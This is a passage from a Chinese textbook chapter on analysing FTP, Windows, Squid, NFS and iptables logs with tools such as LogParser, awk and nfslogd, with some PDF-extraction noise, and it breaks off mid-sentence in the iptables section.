(不能正常显示中文): Sat Jan 12 00:26:18 2013 [pid 6853][ftp] FAIL MKDIR: Client "192.168.150.1", "/pub/???????????" 当日志中出现乱码时,怎么办呢?用户一般会考虑以下方法: z 安装系统时,设置文字默认为中文。 z 调整字符集,将系统的字符集改成 zh_CN.gb 或 GB2312。 z 修改 vsftpd.conf,加入 syslog_enable=yes 参数,编辑 vsftpd.conf,再重启 vsftpd。 但经过笔者尝试,以上三种方法都不能解决中文日志的输出问题。其实,并不是设置问 题,而是 Vsftpd 本身的问题(当然修改源码然后编译安装是可以解决的),要解决就要将日 志输出到/var/log/messages,可这样就无法做到日志分离。有兴趣的读者也可使用 Proftp,如 图 1-10 所示。它的主要优点是,不但可以完整地记录中文文件名在日志中的显示,还可以 分离日志,查看起来比较方便。 图 1-10 Proftp 中文日志显示 1.3.3 用 Logparser 分析 FTP 日志 微软的 IIS 服务器常常成为入侵对象。LogParser 工具是 Windows 系统下功能非常强大 的日志分析工具,它可以分析 IIS 日志、操作系统事件日志,还能分析 CSV 和 XML 等文件 格式,尤其对于上百 MB 的日志文件都可以快速分析,利用 LogParser 能轻松查出所需数 据,而且还能以图表的形式输出结果。下面就用这款工具来筛选 FTP 日志中的异常连接。主 要分为收集 Ftp 日志、导入数据库、日志数据筛选和异常数据分离四个步骤: 步骤一:FTP 日志的采集 微软 IIS 服务器的 FTP 日志文件默认位置为%systemroot%\system32\LogFiles\ MSFTPSVC1\,对于绝大多数系统而言则是 C:\WINDOWS\system32\LogFiles\MSFTPSVC1 (如果安装系统时定义了系统存放目录则根据实际情况修改),系统默认每天自动生成一个日 第 1 章 网络日志获取与分析 19 志文件。日志文件的名称格式是:ex + 年份的末两位数字+月份+日期,如 2013 年 3 月 19 日的 FTP 日志文件是 ex130319.log,这是个文本文件,可以用任何编辑器打开,例如记事本 程序。 为了详细地分析采集来的 FTP 日志,会用到一些常见的命令,如 USER〈用户名〉、 PASS〈密码〉、DELE<文件名>、QUIT 等,由于命令较多,就不一一列出了。常见的响应提 示信息见表 1-5(与 Apache 的类似)。 表 1-5 FTP 响应信息含义 状 态 代 码 含 义 2XX 开头 成功 3XX 开头 权限问题 4XX 开头 文件问题 5XX 开头 服务器故障 FTP 命令加上响应号才具有实际意义,例如:USER stu 331 表示用户试图登录,PASS- 230 表示登录成功。 步骤二:FTP 日志导入 MS SQL 数据库 把 Ftp 日志导入到 SQL Server 数据库,首先需要安装 LogParser 2.2+SQL Server 环境; 然后在待分析计算机上装好 SQL Server 环境,并新建数据库名为 iis;最后将 IIS 日志复制到 本机。准备工作完成后输入如下命令: logparser.exe "select * from C:\WINDOWS\system32\LogFiles\MSFTPSVC1\ex*.log to iisftplog_table" -o:sql -server:127.0.0.1 -driver:"sql server" -database:iis -username:sa -password:123456 -createtable:on 命令执行和输出效果如图 1-11 所示。 图 1-11 Logparser 命令执行和输出效果 在执行以上命令时,一定要指定日志文件的完整路径,否则将出现找不到日志的提示。 当 Logparser 程序正确输出后,就可以打开并检查数据库了,如图 1-12、图 1-13 所示。 步骤三:FTP 日志数据的筛选 IIS 的 FTP 日志包括 5 个域,分别是 time、c-ip、cs-method、cs-uri-stem 和 sc-status。 下面选取了 FTP 服务器某日白天的日志,共 1 万多条记录。 #Software: Microsoft Internet Information Services 5.2 #Version: 1.0 20 UNIX/Linux 网络日志分析与流量监控 图 1-12 在企业管理器中打开 iislog_table 表 图 1-13 查看 iisftplog_table 表 #Date: 2010-05-08 08:30:23 #Fields: time c-ip cs-method es-uri-strem sc-status 08:30:23 192.168.3.62 [1]USER stu 331 08:30:23 192.168.3.62 [1]PASS - 530 08:30:28 192.168.3.62 [2]USER stu 331 08:30:29 192.168.3.62 [2]PASS - 530 ... ... 09:10:23 192.168.3.135 [15]USER anonymous 331 09:10:23 192.168.3.135 [15]PASS IEUser@ 230 09:10:37 10.10.1.200 [16]USER px 331 09:10:37 10.10.1.200 [16]PASS - 530 ... ... 21:44:21 63.103.87.197 [1163]USER anonymous 331 21:44:21 63.103.87.197 [1163]PASS yourname@yourcompany.com 230 21:44:40 63.103.87.197 [1163]sent /mp3.ape 550 将 FTP 日志文件导入 MS SQL 数据库后,字段名保留日志文件中的名字,下面就可以 通过脚本对 FTP 进行深度处理。 步骤四:分离正常与异常数据源 FTP 日志文件导入至 MS SQL 服务器后,在数据库中用 SQL 命令将每天的数据都按 cs- method 字段进行升序排序。每天日志中 cs-method 字段相同的记录表示该用户当前登录所做 的一系列操作,数据库中记录是否出现异常响应,可以根据 sc-status 字段的值来判断,例如 第 1 章 网络日志获取与分析 21 如果出现登录错误,即 PASS-530,连续出现 3 次以上,则认为异常。可以将异常的登录错 误信息输出。经过这样对 FTP 日志文件进行的深度挖掘,能非常方便管理人员迅速判断故 障,提高工作效率和准确度。 1.4 用 LogParser 分析 Windows 系统日志 1.4.1 LogParser 概述 Windows 环境中的每个工作站、AD 域控制器都有安全、应用程序和系统日志,它们包 含所有有价值的安全信息和系统信息。同时还会产生 Microsoft IIS 日志、Exchange Server 和 Microsoft SQL Server 日志等,这些日志的格式并不相同,如何对它们进行分析呢?LogParse 这款工具就可以实现这一目的,而且它是微软自己的日志分析工具,对它的产品贴合得会更 加完美。本书 SQL 注入防御案例中就成功地利用 LogParser 进行了 Web 日志分析从而发现 网站发生了 SQL 注入。这款工具支持全系列 Windows 操作系统,其操作界面既有图形化前 端也支持命令行。目前最新的版本为 LogParser 2.2。 1.4.2 LogParser 结构 LogParser 主要有三个部分:输入处理器、数据引擎以及输出处理器。输入处理器支持 本地的日志格式,如 IIS 日志和 Windows 日志(.evt)文件。LogParser 还可以读取逗号分 隔(.csv)的文件、ODBC 数据库文件以及通过回车符划分的文本文件。输入处理器把每 个日志类型转换成统一格式,这样 LogParser 数据引擎就能像处理数据库表格那样处理日 志文件。 在数据引擎处理输入数据并且生产一个结果以后,输出处理器接手并且格式化该结果, 并输出到一个表里。同输入处理器一样,输出处理器支持许多文件格式,因此你可以按照具 体要求格式化输出表,然后从纯文本文件格式导入到 SQL 数据库,再到 XML 文件。这样一 来 LogParser 就适于各种各样的日志分类输出。 1.4.3 安装 LogParser 首先安装 LogParser 2.2。在微软官网上下载并安装完 LogParser 后,首先在环境变量中 加入“C:\Program Files\Log Parser 2.2”,如图 1-14 所示。这样可以实现在下次不用输入全 路径。 1.4.4 LogParser 应用举例 应用一:在命令行下统计用抓包软件保存的数据包(a.cap)中源端口发送数据包的量。 为了保持原格式不变化,按图 1-15 所示输入命令。 执行完成后会在当前目录下生成名为 a.csv 的文件,它可以在 DOS 下打开,也可以在文 本编辑器中打开。 C:\Program Files (x86)\Log Parser 2.2>type a.csv SrcPort,COUNT(ALL *) 22 UNIX/Linux 网络日志分析与流量监控 图 1-14 修改系统变量 图 1-15 用 LogParser 分析数据包 443,176 1490,76 80,63 1496,5 ...... 应用二:输出系统的安全日志。LogParser 本身支持 Windows 事件日志,所以写查询安 全日志十分简单。只需要输入命令行: C:\>LogParser "SELECT 'Event ID:', EventID,SYSTEM_TIMESTAMP(),message FROM security" – i:EVT –-o datagrid 注意,下面要在 LogParser 命令中编写 SELECT 子句。这个子句在输入日志中指定一个 字段的逗号分隔列表作为查询的输出。 执行完这条命令,会显示日志输出条数和执行时间,同时系统会弹出一个内容为安全日 志的窗口。如图 1-16 所示。 应用三:获得系统日志的分类详细信息。当我们需要将每个事件 ID 记录为一个列表, 就需要有一种能从结果中删掉重复内容的方法。LogParser 用 DISTINCT 关键字来解决这个 问题。为了从结果集中删掉重复内容,只需在 SELECT 之后插入 DISTINCT 这个关键字。 C:\LogParser "SELECT DISTINCT SourceName,EventID,SourceName,message INTO Event_*.csv FROM security"-i:EVT –o:CSV 第 1 章 网络日志获取与分析 23 图 1-16 过滤出安全日志 以上命令执行效果,如图 1-17 所示。 图 1-17 系统日志分类 注意,DISTINCT 关键字只是应用在你指定的 SELECT 子句字段后面,而不能在其他的 子句如 WHERE、ORDER BY、GROUP BY 或 HAVING 中使用。LogParser 能自动识别 Windows 时间日志的字段名,例如 EventLog、RecordNumber、EventID、EventType、 ComputerName、SID 和 Message 等。LogParser 还可以识别 IIS 产生的日志的字段名。 大家在看了这几个例子后可以动手实验一下。 LogParser 的语法十分简单,它唯一的命 令参数就是 SELECT 语句,你必须把它放在引号内,而且它区分大小写。LogParser 的 SELECT 语句包含两个参数,分别为 SELECT 和 FROM,格式见下面的例子: SELECT clause FROM clause [TO clause] [WHERE clause] [GROUP BY clause] [HAVING clause][ORDER BY clause] z SELECT 子句指定了包含在每个查询结果内记录的字段。 z FROM 子句告诉 LogParser 哪个日志或哪些日志可以作为查询输入来使用。 z TO 子句告诉 LogParser 输出到哪里。 24 UNIX/Linux 网络日志分析与流量监控 z WHERE 子句让你指定输入或输出查询的筛选记录的标准。 z GROUP BY 和 HAVING 子句是高级子句,可以让你分析相似的记录组,计算每个记 录组的集合功能,并且指定输入或输出查询的筛选组的标准。 z ORDER BY 子句让你通过指定字段给结果集分类。 例如要对 Windows 安全日志进行查询,使用 FROM 子句: FROM security 要查询其他类型的日志,则必须在 FROM 子句中指定日志文件名。例如用 “application”或“system”来替换“security”,来查询另外两个标准的 Windows 事件日志。 WHERE 参数: WHERE 子句指定一个表达式来解析“真”或“假”。也可以是下面这 个表达式: "EventID=1529 AND TimeGenerated >=TO_TIMESTAMP('2010-12-10','yyy-MM-dd') AND TimeGenerated <= TO_TIMESTAMP('2010-12-20','yyyy-MM-dd') " 这个表达式含义为,产生出现在 2010 年 12 月 10 日到 2010 年 12 月 20 日之间的全部事 件 ID 为 1529(代表用户登录失败)的情况。 应用四:在 IIS 日志中搜索特殊连接。命令如下: LogParser -o:csv "SELECT * into a.csv FROM iis.log where EXTRACT_EXTENSION(cs-uri-stem) LIKE 'asp'" 以上命令执行效果如图 1-18 所示。 图 1-18 搜索特定连接 应用五:对 IIS 日志中的 URL 进行归并统计。命令如下: LogParser -o:csv "SELECT cs-uri-stem, COUNT(*) into a.csv FROM iis.log GROUP BY cs-uri-stem" 以上命令执行效果如图 1-19 所示。同时生成 a.csv 文件,打开此文件能查看详细统计信 息。如图 1-20 所示。 图 1-19 查看统计结果 第 1 章 网络日志获取与分析 25 图 1-20 生成 CSV 文件 1.4.5 图形化分析输出 LogParser 工具还能够生成图形报表,例如生成日志统计信息,并导出 GIF 图片,见下 面的命令: C:\Program Files \Log Parser 2.2>LogParser “SELECT sc-status,COUNT<*> AS Times INTO Chart.gi FROM ex121.log GROUP BY sc-status ORDER BY Times DESC”-chartType:PieExploded3D – charTitle:“Status Codes” Statistics: ----------- Elements processed:22063 Elements output: 8 Execution time: 3.24 seconds 这时会生成 chart.gif 图形文件。如图 1-21 所示。 图 1-21 生成 HTTP 状态码统计图 在展示了 LogParser 的强大功能之后,再给大家推荐一款可视化的 LogParser 的 GUI 界 面工具 Log Parser Lizard,它是 logParser 增强工具,方便输出图表,如图 1-22 所示。 LogParser 是一个强大的工具,它可以让你像查询 SQL 一样扫描任何类型的日志,这样 你就可以发现你所需要的信息,而不必填写数以千计无关的日志输入了。除了上述功能, LogParser 还提供其他处理串、日期和数字字段的功能。你可以用一个查询来扫描多个日 26 UNIX/Linux 网络日志分析与流量监控 志,并把结果输出到多个文件中。 图 1-22 LogParser 图形化分析界面 1.5 Squid 服务日志分析 Apache 和 Squid 是两个著名的代理缓存软件。但 Squid 较 Apache 而言是专门的代理缓 存服务器软件,其代理缓存的功能强大,支持 HTTP/1.1 协议,其缓存对象也较多;并且 Squid 的缓存管理模块和访问控制模块功能很强大。它们有一定的相似之外,所以在分析完 Apache 日志后再看 Squid 日志就容易多了。 1.5.1 Squid 日志分类 Squid 的日志系统相对比较完善,其主要日志分为如下两个:分别是 access.log 和 cache.log。 作用: z access.log;客户端使用代理服务器的记录文件,访问日志位置在 squid.conf 中修改。 z cache.log;缓存在运行时的状态信息和调试信息,一般情况下容量不大。缓存日志位 置在 squid.conf 中修改。 当代理服务器运行时,所有客户提出的请求,以及 Squid 处理的结果都会被记录在 /var/log/squid/access.log 文件里,使得 access.log 文件的增长速度很快。通常可挂载一个比较 大的磁盘作为存储空间。 Squid 还有一类 store.log 日志,记录每个进入和离开缓存的对象信息,参考价值不大, 本书不作介绍。 1.5.2 典型 Squid 访问日志分析 下面给出一条典型的 Squid 访问日志: 此处写入查 询语句 第 1 章 网络日志获取与分析 27 1356692954.014 21 192.168.150.152 TCP_MISS/200 723 GET $1 $2 $3 $4 $5 $6 http://www.redhat.com/favicon.php - NONE/ -text/html $7 $8 $9 $10 对这条日志的分析见表 1-6。 表 1-6 Squid 日志格式 域 值 含 义 $1 1356692954.014 时间戳(记录了访问时间) $2 21 持续时间 $3 192.168.150.152 IP 地址 $4 TCP_MISS/200 结果/状态码,斜线前表示 Squid 的结果码,斜线后表示状态码 $5 723 传输容量,即传给客户端的字节数 $6 GET 请求方式 $7 http://www.redhat.com/favicon.php URL $8 - 客户端的 IDENT 查询一般为关闭 $9 NONE/ - 代码等级 $10 text/html HTTP 请求头部 结果/状态码 TCP_MISS 表示没有命中缓存,TCP_HIT 表示命中。 下面通过一个非常实用的 Shell 命令获取比较详细的命中情况: # cat access.log|awk '{print $4}'|sort|uniq -c|sort -nr 33 TCP_MISS/200 2 TCP_MISS/302 2 TCP_MEM_HIT/302 1 TCP_MISS/503 当然状态信息(TCP_MISS、TCP_MEM 等)不止这几个。总的来说,HIT 表示命中, 而 MISS 表示没有命中。 下列标签可能出现在 access.log 文件的第四个域。 z TCP_HIT:Squid 发现请求资源最新的副本,并立即发送到客户端。 z TCP_MISS:Squid 没有请求资源的 cache 副本。 z TCP_REFRESH_HIT:Squid 发现请求资源旧副本,并发送确认请求到原始服务器。 z TCP_IMS_HIT:客户端发送确认请求,Squid 发送更新的内容到客户端,而不联系原 始服务器。 z TCP_NEGATIVE_HIT:在对原始服务器的请求导致 HTTP 错误时,Squid 会缓存这 个响应。在短时间内对这些资源的重复请求,导致了是否命中。negative_ttl 指令控 制这些错误被 Cache 的时间数量。 z TCP_MEM_HIT:Squid 在缓存里发现请求资源的有效副本,并将其立即发送到客 户端。 28 UNIX/Linux 网络日志分析与流量监控 z TCP_DENIED:因为 http_access 或 http_reply_access 规则,客户端的请求被拒绝了。 z TCP_REDIRECT:重定向程序告诉 Squid 产生一个 HTTP 重定向到新的 URI。 1.5.3 Squid 时间戳转换 (1)Squid 时间戳(1356693954.014)看起来实在是别扭,下面通过脚本将时间戳换算 成我们熟悉的时间: #perl -pe 's/^\d+\.\d+/localtime($&)/e;' access.log 经过 Perl 变化后的时间非常直观地显示出来,便于查看。 (2)将 Squid 输出日志格式变形的脚本 有时需要动态显示 squid 日志的第 3、8、7 列内容,以便更符合我们日常浏览习惯,就 可以使用如下命令: # tail -f /var/log/squid/access.log |awk '{print$3 "" $8""$7}' 192.168.150.148-http://safebrowsing- cache.google.com/safebrowsing/rd/ChFnb29nLXBoaXNoLXNoYXZhchAAGMPiDyDM4g8yBkPxAwD_Aw 192.168.150.148-http://safebrowsing- cache.google.com/safebrowsing/rd/ChFnb29nLXBoaXNoLXNoYXZhchAAGM3iDyDg4g8qB1DxAwD__wE yBU3xAwAH 192.168.150.148-http://en-us.fxfeeds.mozilla.com/en-US/firefox/headlines.xml 192.168.150.148-http://fxfeeds.mozilla.com/firefox/headlines.xml 192.168.150.148-http://newsrss.bbc.co.uk/rss/newsonline_world_edition/front_page/rss.xm (3)可以将一个 squid 日志记录行分割成多个字段,使用参数传回需要的字段。 # tail -f /var/log/squid/access.log | awk '{print$3 " " $8 " " $7}' 这里选择的是客户 IP 及取回内容字段,显示如下: 192.168.150.146-http://jump.qq.com/clienturl_simp_80192.168.150.147 - http://mm.china.com/zh_cn/ images/tit_liangzhuang.gif192.168.150.148 - http://ly.zzip.com.cn/movie/list.aspx? (4)还可以根据日志分析缓存命中率: #cat access.log|awk '{print $4}'|sort|uniq -c|sort -nr 9568 TCP_IMS_HIT/304 6313 TCP_HIT/200 2133 TCP_MISS/200 第 1 章 网络日志获取与分析 29 1568 TCP_MISS/206 587 TCP_MEM_HIT/200 1.5.4 Squid 日志位置 Squid 的配置文件是/etc/squid/squid.conf,可在这个文件中定义日志文件的存储位置: Access_log /var/log/squid/access.log squid 例如,RHEL 5 的 Squid 日志是/var/log/squid/access.log。 除了命令行方式以外,采用 Squid 报告分析产生器(SARG)也是一种比较直观的 方法。 还可以使用 Scalar 脚本分析 squid 日志。 Scalar 脚本使用简单,速度快,报告详细,免去手工分析的麻烦。分析功能包括:每小时 流量、文件大小比例、文件扩展名比例、状态码比例、命中率比例等。其格式与流量统计报告 分别如图 1-23、图 1-24 所示。Scalar 的下载地址是 http://scalar.risk.az/scalar095/scalar.awk。 图 1-23 格式报告 图 1-24 流量报告 1.5.5 图形化日志分析工具 SARG 是一款 Squid 日志分析工具,它采用 html 格式输出,详细列出了每一位用户访问 Internet 的站点信息、时间占用信息、排名、连接次数及访问量等。其效果如图 1-25 所示。 Firewall Analyzer 是另一个 Squid 日志分析工具,如图 1-26 所示。图中显示了 Squid Cache 的使用情况,Tcp_MISS 达到了 92.5%,这个数字说明 Cache 里没有有效的副本。 此外,还有几款 squid 专用日志分析工具也比较易用,例如 LightSquid、Calamari、 Squid-Graph 以及 Squid Analyzer。不过它们最近已不怎么升级,这里就不做介绍,感兴趣的 读者可以去网上查阅资料。 1.5.6 其他 UNIX/Linux 平台的 Squid 位置 默认情况下 Solaris、FreeBSD 系统中的 Squid 服务,其日志文件在/usr/local/squid/logs 目 30 UNIX/Linux 网络日志分析与流量监控 录下,配置文件在/usr/local/squid/etc/squid.conf 路径。Redhat Linux/CentOS Linux 系统中 Squid 服务的配置文件和日志文件,和它们不同,分别放在/etc/squid/squid.conf 和/var/log/ squid/、/var/spool/squid 目录中。 图 1-25 Webmin 下调用 SARG 输出 Squid 日志 图 1-26 用 Firewall Analyzer 分析 Squid 日志 1.6 NFS 服务日志分析 前面几节中介绍的 Apache、Ftp 和 Squid 网络服务,它们的日志都可以详细记录客户 端的信息,例如 IP 地址、访问时间和内容等。而在 Linux 的发行版中 NFS 服务的日志功 能却很弱,例如某个远程 IP 地址,在什么时间访问了 NFS 服务器,在服务器端无法将其 信息记录在日志中。但在 UNIX 家族中的 Oracle Solaris 系统(被 Oracle 收购前称 Sun 第 1 章 网络日志获取与分析 31 OS),对 NFS 日志记录功能相对完善一些,例如与 Kerberos V5 完美集成,能够为系统提 供更好的保密性。 1.6.1 Linux 的 NFS 日志 RedHat Linux 发行版 NFS 服务的日志记录在/var/log/messages 文件中。下面我们用 cat 命令查看 messages 文件,内容如下: # cat /var/log/messages |grep nfs Dec 29 14:49:59 localhost nfs: rpc.mountd shutdown succeeded Dec 29 14:49:59 localhost kernel: nfsd: last server has exited Dec 29 14:49:59 localhost kernel: nfsd: unexporting all filesystems Dec 29 14:49:59 localhost nfs: nfsd -2 succeeded Dec 29 14:49:59 localhost nfs: rpc.rquotad shutdown succeeded Dec 29 14:50:09 localhost nfslock: rpc.statd shutdown succeeded Dec 29 15:57:53 linux-1 nfslock: rpc.statd 启动 succeeded Dec 29 15:58:08 linux-1 nfs: 启动 NFS 服务:succeeded Dec 29 15:58:09 linux-1 nfs: rpc.rquotad 启动 succeeded 从以上日志可以简单分析出服务启动时间和状态,但缺点是不能单独输出成独立的 NFS 服务日志,不便于阅读和查找错误。 1.6.2 Solaris 的 NFS 服务器日志 UNIX 平台下 NFS 服务在虚拟化、服务器集群中应用非常广泛,本节主要讲述 Solaris 平台下的 NFS 的日志。Solaris 服务器平台配置好 NFS 服务后,如果不手动设置日志文件, 那么日志记录方式与 Linux 相同,也是放在 messages 文件中。但 Solaris 下 nfslogd daemon 提供了非常详细的日志记录功能,启动该进程后会由 NFS 内核模块把 NFS 文件系统上的所 有操作都记录到一个缓存文件。记录内容包括时间戳、客户端 IP 地址、请求 UID、访问文 件和操作类型等信息。 Nfslogd 进程的功能有如下四点: z 从操作记录中把原始数据转换成 ASCII 记录。 z 将 IP 解析成主机名。 z 将 UID 解析成登录名。 z 将文件句柄映射为路径名。 所以 Nfslogd 进程在 NFS 服务器中必须启动。Solaris 系统中 NFS 服务的日志记录在配 置文件/etc/nfs/nfslog.conf 中定义。下面的例子使用默认值启动 NFS 日志后台进程: #/usr/lib/nfs/nfslogd 1.配置 NFS 日志(以下配置适合 Solaris 平台) Solaris 系统下用于配置 NFS 服务的配置文件路径为/etc/nfs/nfslog.conf,这个文件定义了 nfslogd 必须使用的路径、日志类型和文件名。每个定义类型都有一个标签,要配置 NFS 日志就要确认每个共享资源是否都创建了标签。 32 UNIX/Linux 网络日志分析与流量监控 为了启用 NFS 服务,首先我们在/etc/dfs/dfstab 配置文件中添加一个共享目录,见图 1-27。 图 1-27 NFS 配置文件 接着编辑/etc/nfs/nfslog.conf 文件,添加 global defaultdir=/var/nfs log=nfslog fhtable= fhtable buffer=nfslog_workbuffer logformat=extended,这句脚本的目的是实现日志记录到单独 的文件,路径是/var/nfs/目录下的 nfslog 文件。配置文件解释见表 1-7。 表 1-7 NFS 配置文件参数解释 区 域 含 义 defaultdir 主目录的路径 log 日志文件的路径及定义的文件名 fhtable File-handle-to-path 数据库文件的路径名 buffer 缓存文件路径 logformat=extended 创建用户可读的日志文件 extended 表示更多详细内容,最基本的用 basic 表示 下面的命令可启动 NFS 服务: #/etc/init.d/nfs.server start #ps –ef |grep nfs \\*验证 NFS 服务启动是否成功 添加此行 添加 global 定义 第 1 章 网络日志获取与分析 33 下面对相关守护进程加以解释: (1)statd 与 lockd 为 lock manager 提供崩溃恢复功能。 (2)nfsd 控制客户端的文件系统请求,为那些已经成功地挂载了本地共享资源的客户机 提供资源读写服务。 (3)mountd 处理远程系统发来的挂载请求,提供访问控制。收到客户机的 mount 请求 时,它检查/etc/dfs/sharetab 文件以确定该资源是否被共享,以及客户机是否有访问权限。 (4)lockd 在 NFS 文件上记录加锁操作。 (5)nfslogd 可以记录 NFS 日志,记录方式由/etc/default/nfslogd 这个配置文件定义。  注意: 以上是在服务器端的进程,在客户端有 statd 和 lockd 这两个进程。 当启动 NFS 服务成功后在/var/nfs 目录下产生四个文件: z fhtable.0198000500000002.dir z fhtable.0198000500000002.pag z nfslog_workbuffer_log_in_process z nfslog 图 1-28 为 Solaris 系统下 NFS 服务器产生的日志信息。 图 1-28 Solaris 中的 NFS 日志 下面详细解释其中一条日志的各个字段: Sun Dec 30 20:45:41 2012 0 bjtest 0 /home/cgweb/test b _mkdir r 60001 nfs3-tcp 0 * 1 2 3 4 5 6 7 8 9 10 11 12 13 1)访问时间 Sun Dec 30 20:45:41 2012。 2)耗时,表示读取或写入文件操作所需要的大致时间,只能精确到秒,所以在本示例 中是 0,意味着它花了小于 1s。 3)远程访问的 IP 或主机名,此处为“bjtest”。 34 UNIX/Linux 网络日志分析与流量监控 4)文件容量(单位:字节),此处为“0”。 5)路径名称,/home/cgweb/test。 6)数据类型,此字段始终有个 b,因为 NFS 始终是以二进制传输,b 代表了数据传输 类型。 7)传输选项,由于 NFS 不执行任何特殊操作,值为“_”。 8)操作指令,mkdir 表示新建目录,read 表示读操作。 9)访问模式,此处字段为“r”。 10)用户 ID,代表用户标示符,这里是 60001。我们查看/etc/passwd 就知道,nobody 的 ID 是 60001。 11)服务类型,表示客户端访问的服务类型,nfs3-tcp 表示通过 TCP 的 NFSv3 版作为 nfs3-tcp 的扩展日志格式。 12)认证,表示用户是否经过身份认证,0 代表未通过验证,1 代表通过身份验证。 13)验证名,通过验证的将显示名称,如果没有通过验证一律显示*。 在了解了 NFS 日志格式的含义之后,在日常工作中要注意观察访问时间、主机(或 IP)、路径及执行操作这几项内容的细节变化。另外,在进行 NFS 服务故障调试时,使用频 率较多的还有 Solaris 自带的 snoop 命令,它可以显示 NFS 客户机和 NFS 服务器的网络通信 过程,对于排错特别有效,下面举个例子。 举例说明: NFS Server IP :192.168.168.0.200 客户端:192.168.0.201 #snoop 192.168.0.200 192.168.0.201 这行命令表示抓 192.168.0.200 和 192.168.0.201 之间的数据流。抓取的信息如图 1-29 所示。 图 1-29 Snoop 抓包 从图 1-29 中标黑的这条日志可以看出客户端(192.168.0.201)在 NFS 服务器共享中新 建了名为 chentest 的目录。上图清晰地记录了客户端访问服务器的详细操作,这一过程也一 同被记录在了 nfslog 日志文件中。如果在 snoop 后面加上“-v”参数将显示更多底层的 Ethernet 帧信息。 第 1 章 网络日志获取与分析 35 1.7 iptables 日志分析 防火墙除了能进行有效控制网络访问之外,还有一个很重要的功能就是能清晰地记录网 络上的访问,并自动生成日志进行保存。虽然日志格式会因防火墙厂商的不同而形态各异, 但记录的主要信息大体上却是一致的。无论是后面我们谈到的 PIX、ASA 还是 CheckPoint 防火墙,其产生的日志内容均类似。这就表明,任何连接或者请求,例如 TCP、UDP、 ICMP 连接记录、连接的流量信息、连接建立时间等,防火墙日志都会将其逐一体现。所以 归纳起来,防火墙日志大致包含消息发送源 IP 地址、消息目的 IP、消息流向、消息的内 容,以及应用几方面。 防火墙每天要产生很大的日志文件,防火墙管理员针对未经任何处理和分析的庞大的日 志进行管理是很困难的。因此,日志的统计和分析现在已经成为防火墙功能中必不可少的一 项,管理员不但可以按照不同的需求来查找日志、审计日志,还可以分析网络带宽的利用 率、各种网络协议和端口的使用情况等。防火墙日志还会产生安全警告及一些对网络安全管 理很有帮助的信息。这极大地方便了管理员对防火墙的安全管控。 本节以 Linux 下的 iptables 为例讲解防火墙日志。 下面看一段 iptables 日志: Jun 19 17:20:04 web kernel: NEW DRAP IN=eth0 OUT=MAC=00:10:4b:cd:7b:b4:00:e0:le:b9:04: al:08:00 SRC=192.168.150.1 DST=192.168.150.152 LEN=20 TOS=0X00 PREC=0x00 TTL=249 ID=10492 DF PROTO=UDP SPT=53 DPT=32926 LEN=231 对此日志的解释见表 1-8。 表 1-8 iptables 防火墙日志分析 序 号 段 含 义 1 Jun 19 17:20:24 日期时间,由 syslog 生成 2 Web 主机名 3 Kernel: 进程名由 syslogd 生成 kernel 为内核产生的日志,说明 netfiter 在内核运行 4 NEW_DRAP 记录的前缀,由用户指定—log-prefix "NEW_DRAP" 5 IN=eth0 数据包进入的接口,若为空表示本机产生,接口有 eth0, br0 等 6 OUT= 数据包离开的接口,若为空表示本机接收 7 MAC=00:10:4b:cd:7b:b4:00:e0:1e:b9:04:a1 00:10:4b:cd:7b:b4 为目标 MAC 地址 00:e0:1e:b9:04:a1 源 MAC 地址 8 08:00 08:00 为上层协议代码,即表示 IP 协议 9 SRC=192.168.150.1 192.168.150.1 为源 IP 地址 10 DST=192.168.150.152 192.168.150.152 为目标 IP 地址 11 LEN=20 IP 头长度,单位是字节 12 TOS=0x00 服务类型字段 13 PREC=0x00 服务类型的优先级字段 14 TTL=249 IP 数据包的生存时间 36 UNIX/Linux 网络日志分析与流量监控 (续) 序 号 段 含 义 15 ID=10492 IP 数据包标识 16 DF 表示不分段 17 PROTO=UDP 传输层协议类型,TCP、UDP、ICMP 18 SPT=53 源端口 19 DPT=32926 目标端口 20 LEN=231 传输层协议头长度 21 SEQ= TCP 序列号 22 ACK= TCP 应答号 23 WINDOWS= 窗口大小 24 RES 保留值 25 CWR ECE URG ACK PSH RST SYN FIN TCP 的标志位 26 URGP= 紧急指针起点 27 OPT() IP 或 TCP 选项,括号内为十六进制值 28 INCOMPLETE [65535 bytes] 不完整的数据包 29 TYPE=CODE=ID=SEQ=PARAMETER= 当协议为 ICMP 时出现 30 SPI=0xF1234567 当协议为 AH ESP 时出现 31 [ ] 中括号出现在两个地方 在 ICMP 协议中作为协议头的递归使用;在数据包长度非法时 用于指出数据实际长度 从表 1-8 中可看出 iptables 日志、记录的信息很多而且凌乱,分析时面临以下几个问题: (1)MAC 的表示过于简单,把目标 MAC、源 MAC 及长度类型全部混在一起,不利于 阅读。 (2)在表中的序号⑫⑬中 TOS 和 PREC 的值都为 0x00,标志位表示方式混乱。 (3)在日志中没有记录数据包内容,特别是对一些被拒绝的数据包,如果有记录数据包 内容将有助于查找攻击方式、方法。 (4)没有记录规则号,对于被记录的数据包,当需要查看它因为满足什么条件被记录 时,将变得比较困难。 (5)LEN、DPT 标志同时出现在 IP 头、TCP 头中,在分析处理日志时会容易出现混乱。 在 Linux 下单独记录 iptables 的方法是编辑/etc/syslog.conf 文件,在其中加入一行: kern.warning /var/log/iptables.log 然后重启 syslog 服务: #/etc/init.d/syslog restart 为了方便地对日志进行分析,可加上适当的记录日志前缀,即在 iptables 中使用 LOG 选 项,通过 LOG 选项打开匹配数据包的内核记录功能。LOG 选项的子选项--log-prefix 用来给 记录信息添加一个消息前缀,这个前缀可设置多达 29 个字符。添加前缀的目的只是为了更 好地辨别记录信息,比如更容易用 grep 这种工具过滤出匹配的记录信息。下面举个例子。 第 1 章 网络日志获取与分析 37 在 Linux 服务器中输入下面的命令: 接下来查看 iptables.log 日志文件中加 HACKERS 前缀的日志,当然你也可以换成别的 内容。 参数“-j LOG”用于设定日志、级别,利用 syslog 把特殊级别的信息放入指定日志文 件。初始存放在/var/log/messages 里面,由于存放在 messages 中,对日志分析造成了不便。 这里简单介绍一个 iptables 日志的管理、循环和自动报告生成的实例。 几乎所有的 Linux 发生版都安装了 iptables,由 dmesg 或 syslogd 的 facility 结合内核管 理。iptables 的日志的初始值是[warn(=4)],若需要修改这个初始值就要编辑 syslog.conf。 /etc/logrotate.conf 的初始设置是每周进行一次日志循环。所以每周的日志将被存在 /var/log/iptables.log 中,以前的日志将被顺次存储在 iptables-log.1~iptables-log.50 中。 另一种方法就是通过 iptables 直接获取日志,操作如下: # iptables -A INPUT -s 127.0.0.1 -p icmp -j LOG --log-prefix "iptables icmp-localhost " \\*保存从 eth0 进入的 packet 记录; # iptables -A INPUT -s 127.0.0.1 -p icmp -j DROP \\*废除从 